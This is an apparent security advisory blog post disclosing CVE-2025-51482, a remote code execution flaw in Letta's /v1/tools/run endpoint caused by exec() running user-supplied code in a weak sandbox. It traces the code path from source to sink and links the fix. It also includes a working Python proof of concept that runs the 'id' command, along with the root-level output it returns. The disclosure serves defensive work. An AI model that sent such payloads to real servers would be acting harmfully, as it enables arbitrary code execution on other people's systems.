Skip to content
CVE-2025-51482: Letta RCE via Unsanitized Tool Execution Endpoint

CVE-2025-51482: Letta RCE via Unsanitized Tool Execution Endpoint

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • An RCE was found in Letta’s /v1/tools/run endpoint.
  • The vulnerability can be exploited by sending a POST request to the /v1/tools/run endpoint with a payload containing malicious Python code:

Description#

An RCE was found in Letta’s /v1/tools/run endpoint. This endpoint accepts arbitrary Python source code and environment variables from users, then executes the code using Python’s built-in exec() function in a basic sandbox environment. Although the application attempts to implement a sandbox, it fails to properly restrict access to dangerous modules and system functionality. The vulnerability allows remote attackers to execute arbitrary code and commands on the host system running the Letta server, potentially with root privileges if the container is running as root.

Source-Sink Analysis#

SOURCE#

Function: run_tool_from_source
File Path: letta/server/rest_api/routers/v1/tools.py
Description: Entry point that accepts user-controlled source code and env vars
Code: @router.post(“/run”, response_model=ToolReturnMessage, operation_id=“run_tool_from_source”)

INTERMEDIATE#

Function: ToolExecutionSandbox.run
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Routes execution to local or e2b sandbox
Code: def run(self, agent_state: Optional[AgentState] = None, additional_env_vars: Optional[Dict] = None) -> ToolExecutionResult:

INTERMEDIATE#

Function: ToolExecutionSandbox.run_local_dir_sandbox
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Prepares sandbox environment and executes code
Code: def run_local_dir_sandbox(self, agent_state: Optional[AgentState] = None, additional_env_vars: Optional[Dict] = None) -> ToolExecutionResult:

SINK#

Function: ToolExecutionSandbox.run_local_dir_sandbox_directly
File Path: letta/services/tool_executor/tool_execution_sandbox.py
Description: Executes user-controlled code with exec()
Code: exec(code_obj, globals_dict)

PoC#

The vulnerability can be exploited by sending a POST request to the /v1/tools/run endpoint with a payload containing malicious Python code:

<code class="hljs language-python"><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> json

url = <span class="hljs-string">"http://localhost:8283/v1/tools/run"</span>

<span class="hljs-comment"># malicious payload that executes the 'id' command</span>
payload = {
    <span class="hljs-string">"source_code"</span>: <span class="hljs-string">"def test():\n    \"\"\"Test function to execute system commands.\"\"\"\n    import os\n    return os.popen('id').read()"</span>,
    <span class="hljs-string">"args"</span>: {},
    <span class="hljs-string">"env_vars"</span>: {<span class="hljs-string">"PYTHONPATH"</span>:<span class="hljs-string">"/usr/lib/python3/dist-packages"</span>},
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"test"</span>
}

headers = {
    <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>
}

response = requests.post(url, json=payload, headers=headers)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"Status code:"</span>, response.status_code)
<span class="hljs-built_in">print</span>(<span class="hljs-string">"Response:"</span>)
<span class="hljs-built_in">print</span>(json.dumps(response.json(), indent=<span class="hljs-number">2</span>))
</code>

Response showing successful execution:

<code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">"id"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"null"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"date"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"2025-05-13T15:45:30+00:00"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"name"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">null</span></span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"message_type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"tool_return_message"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"otid"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">null</span></span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"sender_id"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">null</span></span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"step_id"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">null</span></span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"tool_return"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"uid=0(root) gid=0(root) groups=0(root)\n"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"status"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"success"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"tool_call_id"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"null"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"stdout"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"stderr"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code>

Impact#

The vulnerability allows remote attackers to:

  • Execute arbitrary Python code on the server
  • Execute shell commands with the permissions of the user running the Letta server (potentially root)
  • Access sensitive system information and files
  • Modify system configuration

Fix: https://github.com/letta-ai/letta/pull/2630

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.